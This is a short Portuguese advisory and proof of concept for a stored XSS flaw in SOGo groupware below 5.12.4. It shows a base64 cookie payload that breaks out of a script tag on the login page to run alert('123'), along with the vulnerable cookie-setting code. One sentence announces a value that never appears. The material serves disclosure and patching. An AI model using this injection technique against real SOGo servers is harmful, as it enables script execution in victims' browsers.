
Prova de conceito de XSS armazenado para o groupware SOGo, explorando o cookie 'Remember Username' para injetar payloads JavaScript através do endpoint de login.
XSS Armazenado no cookie Alinto/SOGo
Pesquisadores: Daniil Khomichenok, Alexander Klimenko
Versões Afetadas < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
Data: 01.10.2025
Quando o recurso "Lembrar Nome de Usuário" está ativado, um campo codificado em base64 é adicionado ao cookie do navegador.
Esse valor é obtido a partir do parâmetro "userName" na requisição POST para o endpoint /SOGo/connect.
A resposta do servidor contém payload XSS codificado em base64 com cookie definido:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
Adicionar o seguinte valor à requisição POST para o parâmetro "userName":
que contém uma injeção de JavaScript que é executada quando o usuário revisita a página de autenticação e é armazenada no cookie "SOGoLogin" no navegador do usuário.
Código da página de Autenticação, que contém a injeção:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
Código do cookie de lembrar login que aceita injeções XSS como valor de parâmetro:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];